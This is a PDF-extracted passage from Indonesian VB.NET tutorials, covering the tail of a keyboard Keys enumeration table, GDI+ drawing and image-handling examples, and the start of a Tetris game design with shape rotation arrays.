The 7 key on the numeric keypad.

103

The 8 key on the numeric keypad.

104

The 9 key on the numeric keypad.

105

The O key.

79

OEM specific. The OEM angle bracket or backslash key on the RT 102 key keyboard (Windows 2000 or later). The CLEAR key.

223 226 254

The OEM close bracket key on a US standard keyboard (Windows 2000 or later). The OEM comma key on any country/region keyboard (Windows 2000 or later). The OEM minus key on any country/region keyboard

221 188 189

INDOPROG

44

Pemrograman Form pada VB.NET

Hendra, S.T.

(Windows 2000 or later). OemOpenBrackets OemPeriod OemPipe Oemplus OemQuestion OemQuotes OemSemicolon Oemtilde P Supported by the .NET Compact Framework. Pa1 Supported by the .NET Compact Framework. PageDown Supported by the .NET Compact Framework. PageUp Supported by the .NET Compact Framework. Pause Supported by the .NET Compact Framework. Play Supported by the .NET Compact Framework. Print Supported by the .NET Compact Framework. PrintScreen Supported by the .NET Compact Framework. Prior Supported by the .NET Compact Framework. ProcessKey Supported by the .NET Compact Framework. The PROCESS KEY key. 229 The PAGE UP key. 33 The PRINT SCREEN key. 44 The PRINT key. 42 The PLAY key. 250 The PAUSE key. 19 The PAGE UP key. 33 The PAGE DOWN key. 34 The PA1 key. 253 The OEM open bracket key on a US standard keyboard (Windows 2000 or later). The OEM period key on any country/region keyboard (Windows 2000 or later). The OEM pipe key on a US standard keyboard (Windows 2000 or later). The OEM plus key on any country/region keyboard (Windows 2000 or later). The OEM question mark key on a US standard keyboard (Windows 2000 or later). The OEM singled/double quote key on a US standard keyboard (Windows 2000 or later). The OEM semicolon key on a US standard keyboard (Windows 2000 or later). The OEM tilde key on a US standard keyboard (Windows 2000 or later). The P key. 219 190 220 187 191 222 186 192 80

INDOPROG

45

Pemrograman Form pada VB.NET

Hendra, S.T.

Q Supported by the .NET Compact Framework. R Supported by the .NET Compact Framework. RButton Supported by the .NET Compact Framework. RControlKey Supported by the .NET Compact Framework. Return Supported by the .NET Compact Framework. Right Supported by the .NET Compact Framework. RMenu Supported by the .NET Compact Framework. RShiftKey Supported by the .NET Compact Framework. RWin Supported by the .NET Compact Framework. S Supported by the .NET Compact Framework. Scroll Supported by the .NET Compact Framework. Select Supported by the .NET Compact Framework. SelectMedia Separator Supported by the .NET Compact Framework. Shift Supported by the .NET Compact

The Q key.

81

The R key.

82

The right mouse button.

2

The right CTRL key.

163

The RETURN key.

13

The RIGHT ARROW key.

39

The right ALT key.

165

The right SHIFT key.

161

The right Windows logo key (Microsoft Natural Keyboard).

92

The S key.

83

The SCROLL LOCK key.

145

The SELECT key.

41

The select media key (Windows 2000 or later). The separator key.

181 108

The SHIFT modifier key.

65536

INDOPROG

46

Pemrograman Form pada VB.NET

Hendra, S.T.

Framework. ShiftKey Supported by the .NET Compact Framework. Snapshot Supported by the .NET Compact Framework. Space Supported by the .NET Compact Framework. Subtract Supported by the .NET Compact Framework. T Supported by the .NET Compact Framework. Tab Supported by the .NET Compact Framework. U Supported by the .NET Compact Framework. Up Supported by the .NET Compact Framework. V Supported by the .NET Compact Framework. VolumeDown VolumeMute VolumeUp W Supported by the .NET Compact Framework. X Supported by the .NET Compact Framework. XButton1 Supported by the .NET Compact Framework. XButton2 Supported by the .NET Compact Framework. The second x mouse button (five-button mouse). 6 The first x mouse button (five-button mouse). 5 The X key. 88 The volume down key (Windows 2000 or later). The volume mute key (Windows 2000 or later). The volume up key (Windows 2000 or later). The W key. 174 173 175 87 The V key. 86 The UP ARROW key. 38 The U key. 85 The TAB key. 9 The T key. 84 The subtract key. 109 The SPACEBAR key. 32 The PRINT SCREEN key. 44 The SHIFT key. 16

INDOPROG

47

Pemrograman Form pada VB.NET

Hendra, S.T.

Y Supported by the .NET Compact Framework. Z Supported by the .NET Compact Framework. Zoom Supported by the .NET Compact Framework.

The Y key.

89

The Z key.

90

The ZOOM key.

251

INDOPROG

48

Pemrograman Form pada VB.NET

Hendra, S.T.

Daftar Pustaka .NET Framework SDK documentation, Microsoft Corporation

INDOPROG

49

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

Pemrograman GDI+ pada VB.Net
Oleh : Hendra, ST.

Buku ini membahas tentang pengolahan grafik pada VB.NET, dan ditujukan kepada siapa saja yang serius untuk mempelajari pemrogrman grafik dengan GDI+ secara koding (tanpa menggunakan fasilitas designer pada Visual Studio .NET). Bagi anda yang belum mengenal bahasa pemrograman VB.NET sebaiknya memulai proses belajar dengan buku Bahasa Pemrograman VB.NET dan Pemrogram Form pada VB.NET Untuk mempelajari buku ini anda tidak perlu menginstalasi Visual Studio .NET, tetapi anda cukup menginstalasi .Net Framework yang dapat didownload secara gratis dari website Microsoft. Semua contoh dan latihan dibuku ini dapat dikompilasi langsung dari Dos prompt dengan menggunakan kompiler Visual Basic yang langsung tersedia setelah anda menginstalasi .Net Framework. Pada akhir tutorial ini, penulisa memberikan contoh pemrograman GDI+ yang diaplikasikan pada pemrograman games Tetris.

INDOPROG

1

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

Pemrograman Grafik pada VB.NET
Untuk pemrograman Grafik di VB.NET kita membutuhkan GDI+ (Graphic Device Interface) yang merupakan bagian dari system operasi XP. GDI+ yang memiliki kemampuan untuk mengolah grafik vector dua dimensi (garis), imaging (bitmap) dan typography (font) pada Layar maupun Printer. Dengan GDI, programmer tidak perlu mengetahui detail dari masing-masing peralatan untuk menampilkan grafik diatasnya, tetapi cukup menggunakan fasilitas yang telah disediakan oleh GDI+ class. Catatan : Pada pemrograman tradisional, menggambar garis ke layar akan sangat berbeda dengan menggambar garis ke printer.

System Koordinat pada GDI+
GDI+ menggunakan system koordinat dilayar x,y mulai dari 0,0.

Dan pada layar computer, koordinat tersebut, merupakan pixel pada layar.

Misalnya kita menggambar sebuah garis mulai dari koordinat 4,2 sampai 12, 8, maka tampilan dilayar adalah sebagai berikut :

INDOPROG

2

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

Mengambar Garis pada Form
Pengambaran Graphics diatas form dapat dilakukan melalui Objek Graphics yang dapat dideklarasikan sebagai berikut : Dim MyGraphics As System.Drawing.Graphics = Me.CreateGraphics Objek Graphics menyediakan berbagai metode untuk menggambar seperti DrawLine, DrawRectangle, dll Dalam pengembaran, kita membutuhkan Objek Pen menyediakan atribut seperti Warna dan Ketebalan garis dalam ukuran pixel. Objek Pen dapat dideklarasikan sebagai berikut : Dim Pen As New System.Drawing.Pen(Warna,Tebal) Dimana Warna adalah warna yang diinginkan, dan Tebal adalah tebal pen dalam ukuran point. Contoh program GDI+ anda yang pertama :
Option Explicit On Imports System Imports System.Windows.Forms Imports Microsoft.VisualBasic Public Class MyForm : Inherits Form <System.STAThread()> _ Public Shared Sub Main() Application.Run(New MyForm) End Sub

Public Sub New() Me.Text = "Mengambar End Sub Private Sub

garis

pada

'Constructor Form"

MyForm_Click(Sender

As

Object,

e

As

System.EventArgs)

_

INDOPROG

3

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

Handles MyBase.Click Dim MyPen As New System.Drawing.Pen(System.Drawing.Color.Red,3) Dim MyGraphic As System.Drawing.Graphics = Me.CreateGraphics MyGraphic.DrawLine(MyPen,10,10,200,100) End Sub End Class

Kemudian simpan program diatas dengan mana grafik.vb

Proses kompilasi
Proses kompilasi dengan menggunakan perintah : Vbc grafik.vb /r:System.dll /r:System.Windows.Forms.dll /r:System.Drawing.dll Dan ketika anda jalankan, dan klik pada form akan menghasilkan tampilan :

Catatan : Mengenai pemrogram form pada VB.NET dapat anda baca di ebook pemrogram form pada VB.NET Salah satu kelemahan dari cara diatas adalah, kalau form mengalami refresh, maka garis yang telah digambarkan tersebut akan hilang (VB.NET tidak menyediakan property AutoRedraw seperti yang terdapat pada VB6) Untuk membuktikannya coba anda minimize dan maximize kembali form diatas, maka garis tersebut akan hilang.

INDOPROG

4

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

Melakukan overriding terhadap Metoda OnPaint
OnPaint Event Handle adalah event yang akan dibangkitkan setiap kali form mengalami refresh (pada saat minimize, maximize maupun ditimpa oleh form lain), jadi jika kita melakukan overriding terhadap Event ini dan menempatkan perintah pengambaran garis didalamnya ini, maka garis tersebut akan digambar setiap proses refresh. Parameter PaintEventArgs pada Sub OnPaint merupakan objek Graphics, sehingga kita tidak perlu melakukan Me.CreateGraphics. Contoh :
Option Explicit On Imports System Imports System.Windows.Forms Imports Microsoft.VisualBasic Public Class MyForm Inherits Form

<System.STAThread()> _ Public Shared Sub Main() Application.Run(New MyForm) End Sub

Public Sub New() 'Constructor Me.Text = "Membuat garis pada Form dengan OnPaint" End Sub Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) Dim MyPen As New System.Drawing.Pen(System.Drawing.Color.Red,3) MyBase.OnPaint(e) e.Graphics.DrawLine(MyPen,10,10,200,100) End Sub End Class

Kalau program diatas dijalankan, maka akan menampilkan garis pada form, dan tetap akan ada walaupun form direfresh. Catatan : Pada contoh diatas kita melakukan overriding terhadap metoda OnPaint yang ada pada Base class dengan Metoda baru yang kita buat dimana didalamnya akan mengambarkan garis, sehingga setiap kejadian OnPaint akan menjalankan Event baru tersebut. Kemudian dalam koding kita menulis MyBase.OnPaint(e), yang artinya kita menjalan kembali event OnPaint pada Base class yang telah kita overriding.

INDOPROG

5

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

Mengambar grafik vector 2 dimensi
Grafik vector merupakan kemampuan menggambar bentuk-bentuk tradisional seperti garis, kurva dan bentuk berdasarkan sekumpulan titik tertentu. Untuk pengambaran grafik vector kita dapat menggunakan objek Pen dan Brush, dimana objek Pen untuk pengambaran bentuk garis, dan Brush untuk objek isian.

Mengambar garis dengan Pen
Perintah DrawLine(pen, x1,y1, x2,y2) digunakan untuk menggambar garis dari koordinat awal (x1,y1) ke koordinat akhir (x2,y2). Contoh :
Dim MyPen As New System.Drawing.Pen(System.Drawing.Color.Red,3) e.Graphics.DrawLine(MyPen,10,10,200,100)

Akan menghasilkan

Mengambar persegi dengan Pen
Kita dapat menggunakan metoda DrawRectangle(Pen, x,y,lebar,tinggi) pada objek grafik untuk mengambar persegi pada koordinat x,y dengan lebar dan tinggi tertentu. Contoh :

INDOPROG

6

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

e.Graphics.DrawRectangle(MyPen,10,10,200,100)

Akan menghasilkan :

Mengambar Ellipse pada Form dengan Pen
Kita dapat menggunakan metoda DrawEllipse(Pen,x,y,lebar,tinggi) pada objek grafik untuk mengambar ellipse pada koordinat x,y dengan ukuran lebar dan tinggi tertentu :

Contoh :
e.Graphics.DrawEllipse(MyPen,10,10,200,100)

Akan menghasilkan :

INDOPROG

7

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

Mengambar Arc pada Form dengan Pen
Kita dapat menggunakan metoda DrawArc(Pen,x,y,lebar,tinggi,sudutawal,sudutakhir) untuk mengambar arcus, adapun perbedaan antara Ellipse dengan Arc adalah, kalau ellipse adalah gambar kurva tertutup, sedangkan Arc ditentukan oleh sudut awal dan akhir pengambaran kurva. Contoh :
e.Graphics.DrawArc(MyPen,10,10,200,100,0,270)

Akan menghasilkan :

INDOPROG

8

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

Mengambar Pie pada Form dengan Pen
Kalau Arc adalah kurva dengan sudut awal dan akhir, demikian juga pie, bedanya adalah pie merupakan kurva tertutup. Untuk menggambar pie dapat digunakan metoda DrawEllipse(Pen,x,y,lebar,tinggi). Contoh :
e.Graphics.DrawPie(MyPen,10,10,200,100,0,90)

Akan menghasilkan :

Menggunakan structure Point
Kita juga dapat menggunakan structure point untuk penentuan koordinat (x,y) awal dan akhir pada perintah DrawLine(pen, point1, point2). Catatan : DrawLine(pen, point1, point2) merupakan metode overloading terhadap DrawLine(pen, x1,y1,x2,y2)

Contoh :
Dim Point1 As New System.Drawing.Point(10,10) Dim Point2 As New System.Drawing.Point(200,100) e.Graphics.DrawLine(MyPen,Point1,Point2)

INDOPROG

9

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

yang kalau dijalankan akan menghasilkan garis yang sama dengan perintah :
e.Graphics.DrawLine(MyPen,10,10,200,100)

Akan menghasilkan :

Menggambar poligon dengan array dari point
DrawPolygons(Pen,PointArray) merupakan kurva tertutup yang dibentuk oleh garis-garis, untuk menggambar poligon anda perlu menyediakan array yang berisi koordinat (x,y) dari sudut-sudut polygon.

Contoh :
Dim MyPen As New System.Drawing.Pen(System.Drawing.Color.Red, 3) Dim MyArr As System.Drawing.Point() = _ {new System.Drawing.Point(0,0), _ new System.Drawing.Point(250,130), _ new System.Drawing.Point(190,160)} e.Graphics.DrawPolygon(MyPen,MyArr)

Akan menghasilkan :

INDOPROG

10

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

Menggambar cardinal splines dengan array dari point
Jika polygon merupakan kurva tertutup yang dihubungan oleh garis lurus pada setiap koordinat (x,y) sudutnya, maka DrawCurve(Pen, PointArray, Tangen) merupakan kurva terbuka yang dibentuk dengan garis lengkung yang memiliki nilai tangent tertentu, berikut ini adalah contoh gambar cardinal splines yang memiliki tiga titik dengan nilai tangent yang berbeda (0, 1, 1.5, dan 2).

Contoh :
Dim MyPen As New System.Drawing.Pen(System.Drawing.Color.Red, 3) Dim MyArr As System.Drawing.Point() = _ {new System.Drawing.Point(0,0), _ new System.Drawing.Point(250,130), _ new System.Drawing.Point(190,160)} e.Graphics.DrawCurve(MyPen,MyArr,1.5F)

Akan menghasilkan :

INDOPROG

11

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

Kemudian kita dapat juga menggunakan DrawClosedCurve(pen, PointArray) untuk menghasilkan kurva tertutup. Contoh :
Dim MyPen As New System.Drawing.Pen(System.Drawing.Color.Red, 3) Dim MyArr As System.Drawing.Point() = _ {new System.Drawing.Point(0,0), _ new System.Drawing.Point(250,130), _ new System.Drawing.Point(190,160)} e.Graphics.DrawClosedCurve(MyPen,MyArr)

Akan menghasilkan :

INDOPROG

12

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

Menggambar Bezier splines dengan array dari point
DrawBezier(pen, x1, y1, x2, y2, x3, y3, x4, y4) merupakan kurva dengan dari koordinat (x1,y1) awal ke koordinat (x2,y2), dengan dua koordinat control (x3,y3) dan (x4,y4).

Pada gambar diatas p1 awal koordinat awal, p2 adalah koordinat akhir, dan c1, c2 adalah koordinat control Bezier.
Dim MyPen As New System.Drawing.Pen(System.Drawing.Color.Red, e.Graphics.DrawBezier(MyPen,0,0,200,200,70,50, 150, 40) 3)

INDOPROG

13

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

Menggunakan Path
Path dibentuk oleh kombinasi dari berbagai bentuk seperti :
• • • • • • •

Lines Rectangles Ellipses Arcs Polygons Cardinal splines Bézier splines

Dengan perintah AddLine, AddRectangle, AddEllipse, AddArc, AddPolygon, AddCurve, dan AddBezier. Contoh :
Dim MyPen As New System.Drawing.Pen(System.Drawing.Color.Red, 3) Dim MyPath As New System.Drawing.Drawing2D.GraphicsPath() MyPath.AddLine(0,0,65,20) MyPath.AddEllipse(30,20,100,50) MyPath.AddLine(130,45,200,50)

INDOPROG

14

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

e.Graphics.DrawPath(MyPen,MyPath)

Akan menghasilkan :

Menggunakan structure rectangle
Sebagaimana dengan structure point, kita dapat juga menggunakan struktur rectangle untuk mengambar bentuk yang membutuhkan koordinat x,y dan ukuran lebar, tinggi, misalnya DrawRectangle(pen, rectangle), DrawArc(Pen,x,y,rectangle,sudutakhir), DrawEllipse(Pen,rectangle), DrawEllipse(Pen,rectangle), Contoh :
Dim Rect As New System.Drawing.Rectangle(10,10,200,100) e.Graphics.DrawRectangle(MyPen,Rect) yang hasilnya akan sama dengan : e.Graphics.DrawRectangle(MyPen,10,10,200,100)

INDOPROG

15

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

Mengambar objek isian pada Form dengan Brush
Kalau kita mengambar bentuk dengan Pen, maka hasilnya tidak disertai dengan isian, sedangkan untuk menghasilkan gambar dengan isian kita membutuhkan Brush.

Menggunakan SolidBrush
SolidBrush(warna) dapat digunakan untuk menggambarkan objek isian seperti FillRectangle(brush, rectangle), FillEllipse(brush, rectangle), FillPie(brush, rectangle, sudutawal, sudutakhir), dengan warna yang ditentukan pada brush. Contoh :
Dim MyBrush As New System.Drawing.SolidBrush(System.Drawing.Color.Red) Dim Rect As New System.Drawing.Rectangle(10,10,200,100) e.Graphics.FillRectangle(MyBrush,Rect)

Yang kalau dijalankan akan menghasilkan suatu persegi yang diisi dengan warna merah penuh.

INDOPROG

16

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

Menggunakan HatchBrush
HatchBrush(pola, warnagaris, warnalatarbelakang), dapat digunakan untuk menggambar objek isian dengan pola isian tertentu seperti : HatchStyle.Horizontal HatchStyle.Vertical HatchStyle.ForwardDiagonal HatchStyle.HatchStyleBackwardDiagonal • HatchStyle.HatchStyleCross • HatchStyle.HatchStyleDiagonalCross
• • • •

HatchBrush terdefinisi pada namespace System.Drawing.Drawing2D Contoh :
Dim MyBrush As New _ System.Drawing.Drawing2D.HatchBrush(_ System.Drawing.Drawing2D.HatchStyle.Horizontal, System.Drawing.Color.Red, _ System.Drawing.Color.White) Dim Rect As New System.Drawing.Rectangle(10,10,200,100) e.Graphics.FillRectangle(MyBrush,Rect)

_

INDOPROG

17

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

Menggunakan TextureBrush
TextureBrush(gambar), dapat digunakan untuk mengambarkan objek isian yang diisi dengan gambar tertentu

Contoh :
Dim MyImage As New System.Drawing.Bitmap("c:\windows\greenstone.bmp") Dim MyBrush As New System.Drawing.TextureBrush(MyImage) Dim Rect As New System.Drawing.Rectangle(10,10,200,100) e.Graphics.FillRectangle(MyBrush,Rect)

INDOPROG

18

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

Menggunakan GradientBrush
GradientBrush digunakan untuk warna isian yang sifatnya gradual LinearGradientBrush LinierGradientBrush(Point1,Point2,warna1,warna2) akan membuat warna gradient mulai dari Point1 ke Point2 secara gradual dari warna1 ke warna2

LinearGradientBrush terdefinisi pada namespace System.Drawing.Drawing2D Contoh :
Dim Point1 As New System.Drawing.Point(10,10) Dim Point2 As New System.Drawing.Point(100,10) Dim MyBrush As New _ System.Drawing.Drawing2D.LinearGradientBrush(Point1,Point2, System.Drawing.Color.FromArgb(255,0,0), _ System.Drawing.Color.FromArgb(0,0,255)) Dim Rect As New System.Drawing.Rectangle(10,10,200,100) e.Graphics.FillRectangle(MyBrush,Rect)

_

INDOPROG

19

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

Menggunakan GammaCorrection
Contoh :
Dim Point1 As New System.Drawing.Point(10,10) Dim Point2 As New System.Drawing.Point(100,10) Dim MyBrush As New _ System.Drawing.Drawing2D.LinearGradientBrush(Point1,Point2, System.Drawing.Color.FromArgb(255,0,0), _ System.Drawing.Color.FromArgb(0,0,255)) Dim Rect As New System.Drawing.Rectangle(10,10,200,100) MyBrush.GammaCorrection = True e.Graphics.FillRectangle(MyBrush,Rect)

_

Bandingkan dengan hasil sebelumnya yang tidak menggunakan gamma correction.

INDOPROG

20

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

Mengambar tulisan pada Form dengan DrawString
Untuk menampilkan tulisan kita dapat menggunakan DrawString(tulisan, font, brush, pointF). Contoh :
Dim Fontname As New System.Drawing.FontFamily("Times New Roman") Dim MyFont As New System.Drawing.Font(FontName, 24, _ System.Drawing.FontStyle.Regular, _ System.Drawing.GraphicsUnit.Pixel) Dim MyBrush As New ystem.Drawing.SolidBrush(System.Drawing.Color.Black) Dim MyPoint As New System.Drawing.PointF(10.0,10.0) e.Graphics.DrawString("Hello World !",MyFont,MyBrush,MyPoint)

Catatan : PointF adalah point dalam type Float

INDOPROG

21

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

Mengambar garis dengan texture
Untuk mengambar garis dengan texture, kita membutuhkan pen yang menggunakan TextureBrush. Contoh :
Dim MyImage As New System.Drawing.Bitmap("c:\windows\greenstone.bmp") Dim MyBrush As New System.Drawing.TextureBrush(MyImage) Dim MyPen As New System.Drawing.Pen(MyBrush, 10) e.Graphics.DrawLine(MyPen,10,10,200,100)

INDOPROG

22

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

Menampilkan gambar
Jika pada bagian sebelumnya kita telah membahas pembuatan grafik vector dengan GDI+, maka pada bagian ini kita akan melihat bagaimana mengolah gambar.

Memuat dan menampilkan
Untuk memuat dan menampilkan gambar dari file ke layer, anda membutuhkan objek Bitmap dan objek Graphics. Class Bitmap mendukung beberapa format seperti BMP, GIF, JPEG, PNG dan TIFF. Contoh :
Dim bitmap As New Bitmap("Grapes.jpg") e.Graphics.DrawImage(bitmap, 60, 10)

Memuat dan menampilkan dengan ukuran lain
Untuk menampilkan gambar dengan ukuran yang berbeda dengan ukuran sebenarnya, kita harus menyediakan dua Rectangle, yaitu Rectangle Asal (crop terhadap gambar sebenarnya), dan Rectangle Tujuan (yang berisi koordinat dan ukuran yang diinginkan), contoh :
Dim image = New Bitmap("Apple.gif") ' menggambar bitmap di posisi (0, 0). e.Graphics.DrawImage(image, 0, 0) ' membuat Rectangle tujuan di koordinat (150,20), dan ' tinggi dan lebar diset 130% dari ukuran gambar semula Dim width As Integer = image.Width Dim height As Integer = image.Height Dim destinationRect As New RectangleF( _

INDOPROG

23

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

150, 20, 1.3F 1.3F

_ _ * width, _ * height)

' Membuat rectangle asal gambar dengan menggambil 75% gambar Dim sourceRect As New RectangleF(0, 0, 0.75F * width, 0.75F * height) e.Graphics.DrawImage( _ image, _ destinationRect, _ sourceRect, _ GraphicsUnit.Pixel)

Melakukan rotasi terhadap gambar
Untuk melakukan rotasi terhadap gambar kita membutuhkan tiga koordinat yaitu

Titik asal Titik tujuan Kiri atas (0, 0) (200, 20) Kanan atas (100, 0) (110, 100) Kiri bawah (0, 50) (250, 30)

INDOPROG

24

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

Sehingga dalam program Visual Basic ditulis sebagai : 'Membuat array yang berisi ketiga titik tujuan Dim destinationPoints As Point() = { _ New Point(200, 20), _ New Point(110, 100), _ New Point(250, 30)} ‘Memuat file Stripes.bmp Dim image = New Bitmap("Stripes.bmp") ' Tampilkan gambar dikoordinat 0,0 e.Graphics.DrawImage(image, 0, 0) ' Tampilkan gambar sekali lagi berdasarkan titik tujuan e.Graphics.DrawImage(image, destinationPoints)

Menggunakan interpolation pada saat mengubah ukuran gambar
Pemakaian interpolation akan menentukan kualitas gambar hasil pembesaran ataupun pengecilan. Perhatikan kualitas gambar berikut yang masing-masing menggunakan interpolation yang berbeda.

INDOPROG

25

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

Dengan koding berikut : Dim image = New Bitmap("GrapeBunch.bmp") Dim width As Integer = image.Width Dim height As Integer = image.Height 'Menampilkan gambar apa adanya pada koordinat 0,0 e.Graphics.DrawImage( _ image, _ New Rectangle(10, 10, width, height), _ 0, _ 0, _ width, _ height, _ GraphicsUnit.Pixel, _ Nothing) ' Mengunakan interpolation kualitas rendah e.Graphics.InterpolationMode = InterpolationMode.NearestNeighbor ' Menampilkan gambar sebesar 60% ukuran semula e.Graphics.DrawImage( _ image, _ INDOPROG

26

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

New Rectangle(10, 250, CInt(0.6 * width), CInt(0.6 * height)), _ 0, _ 0, _ width, _ height, _ GraphicsUnit.Pixel) ' Menggunakan interpolation kualitas menengah e.Graphics.InterpolationMode = InterpolationMode.HighQualityBilinear ' Menampilkan gambar sebesar 60% ukuran semula e.Graphics.DrawImage( _ image, _ New Rectangle(150, 250, CInt(0.6 * width), _ CInt(0.6 * height)), _ 0, _ 0, _ width, _ height, _ GraphicsUnit.Pixel) ' Menggunakan interpolation kualitas tinggi e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic ' Menampilkan gambar sebesar 60% ukuran semula e.Graphics.DrawImage( _ image, _ New Rectangle(290, 250, CInt(0.6 * width), CInt(0.6 * height)), _ 0, _ 0, _ width, _ height, _ GraphicsUnit.Pixel)

INDOPROG

27

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

Program Tetris
Oleh : Hendra Soewarno Contoh aplikasi pemrograman GDI+ untuk pembuatan games tetris dengan pendekatan berorientasi objek.

Untuk memahami program ini anda perlu mengerti pemrograman form, event handling, dan array, serta GDI+

INDOPROG

28

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

Rancangan program
Program ini menggunakan pendekatan berorientasi objek dengan membuat dua class untuk objek Shape dan objek Grid

Class TShape
Class ini berfungsi menghasilkan bentuk-bentuk dengan system koordinat berikut :

{1,0},{1,1},{1,2},{1,3}

Dan rotasi ke kanan akan menjadi

{0,1},{1,1},{2,1},{3,1}

Berikut ini adalah rincian array untuk masing-masing Shape dan rotasinya
{1,0},{1,1},{1,2},{1,3} {0,1},{1,1},{2,1},{3,1} {1,0},{1,1},{1,2},{1,3} {0,1},{1,1},{2,1},{3,1} {0,0},{0,1},{1,0},{1,1} {0,0},{0,1},{1,0},{1,1} {0,0},{0,1},{1,0},{1,1} {0,0},{0,1},{1,0},{1,1} {0,0},{0,1},{0,2},{1,2} {0,0},{0,1},{1,0},{2,0} {0,0},{1,0},{1,1},{1,2} {0,1},{1,1},{2,0},{2,1} {0,0},{0,1},{0,2},{1,1} {0,0},{1,0},{1,1},{2,0} {1,0},{0,1},{1,1},{1,2} {0,1},{1,0},{1,1},{2,1} {0,0},{0,1},{1,1},{1,2} {0,1},{1,0},{1,1},{2,0} {0,0},{0,1},{1,1},{1,2} {0,1},{1,0},{1,1},{2,0}

INDOPROG

29

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

{0,1},{0,2},{1,0},{1,1} {0,0},{1,0},{1,1},{2,1} {0,1},{0,2},{1,0},{1,1} {0,0},{1,0},{1,1},{2,1}

Contoh :

Yang memiliki rincian array sebagai berikut :
{0,0},{0,1},{0,2},{1,1} {0,0},{1,0},{1,1},{2,0} {1,0},{0,1},{1,1},{1,2} {0,1},{1,0},{1,1},{2,1}

Yang selanjutnya dipetakan menjadi suatu array 4 dimensi yang berisi koordinat dari masingmasing shape :
'Array 4 dimensi yang berisi nilai sel dari masing-masing bentuk 'serta bentuk rotasinya private sarr(,,,) as integer = {{{{1,0},{1,1},{1,2},{1,3}}, _ {{0,1},{1,1},{2,1},{3,1}}, _ {{1,0},{1,1},{1,2},{1,3}}, _ {{0,1},{1,1},{2,1},{3,1}}}, _ {{{0,0},{0,1},{1,0},{1,1}}, _ {{0,0},{0,1},{1,0},{1,1}}, _ {{0,0},{0,1},{1,0},{1,1}}, _ {{0,0},{0,1},{1,0},{1,1}}}, _ {{{0,0},{0,1},{0,2},{1,2}}, _ {{0,0},{0,1},{1,0},{2,0}}, _ {{0,0},{1,0},{1,1},{1,2}}, _ {{0,1},{1,1},{2,0},{2,1}}}, _ {{{0,0},{0,1},{0,2},{1,1}}, _ {{0,0},{1,0},{1,1},{2,0}}, _ {{1,0},{0,1},{1,1},{1,2}}, _ {{0,1},{1,0},{1,1},{2,1}}}, _ {{{0,0},{0,1},{1,1},{1,2}}, _ {{0,1},{1,0},{1,1},{2,0}}, _ {{0,0},{0,1},{1,1},{1,2}}, _ {{0,1},{1,0},{1,1},{2,0}}}, _ {{{0,1},{0,2},{1,0},{1,1}}, _ {{0,0},{1,0},{1,1},{2,1}}, _ {{0,1},{0,2},{1,0},{1,1}}, _ {{0,0},{1,0},{1,1},{2,1}}}}

Variabel pada Class TShape
private currentshape as integer 'menyimpan nomor current shape

INDOPROG

30

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

private nextshape as integer public currentcolor as color public nextcolor as color private currentstate as integer

'menyimpan nomor next shape 'menyimpan warna current shape 'menyimpan warna next shape 'nomor rotasi shape

Konstruktor TShape Konstuktor TShape merupakan metoda yang otomatis dijalankan begitu instance dari TShape terbentuk. Misalnya :
private gtshape as new tshape 'instance class tshape

berfungsi menghasilkan bentuk Shape berikutnya yang akan dimunculkan setelah bentuk sekarang dengan memanggil metoda generateshape.
'konstrutor untuk class tshape public sub new() generateshape(nextshape, nextcolor) end sub

Metoda GenerateNextShape Metoda ini berfungsi memindahkan nextshape menjadi currentshape, serta membuat nextshape yang berikutnya.
'Membuat next shape berikutnya, dan menset current shape public sub generatenextshape() currentshape = nextshape currentcolor = nextcolor currentstate = 0 'rotasi ke 0 generateshape(nextshape, nextcolor) 'buat nextshape end sub

baru

Sub GenerateShape Berfungsi menghasilkan shape secara random, dan warnanya
'Membuat bentuk dan mengembalikan melalui parameter shape dan shapecolor private sub generateshape(byref shape as integer, _ byref shapecolor as color) dim c as integer shape = int(rnd*6) 'random untuk shape c = int(rnd*8) 'random untuk shape color select case c case 0 : shapecolor = color.red case 1 : shapecolor = color.green case 2 : shapecolor = color.blue case 3 : shapecolor = color.orange case 4 : shapecolor = color.pink

INDOPROG

31

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

case 5 : shapecolor = color.cyan case 6 : shapecolor = color.gray case else shapecolor = color.magenta end select end sub

Catatan : Parameter pada sub ini dilewatkan secara by refrence, sehingga nilai dapat dikembalikan ke variable shape dan shapecolor. Metoda Rotate Metode ini berfungsi menset nilai currentstate ke nilai rotasi berikutnya (0 ke 1, 1 ke 2, 2 ke 3, 3 ke 0).

'Rotasi ke bentuk berikutnya public sub rotate() currentstate = currentstate + 1 if currentstate = 4 then currentstate = 0 end sub

'Rotasi berikutnya 'Kembali ke bentuk awal

Metoda DeRotate Metode ini berfungsi menset nilai currentstate ke nilai rotasi sebelumnya (1 ke 0, 2 ke 1, 3 ke 2, 0 ke 3).
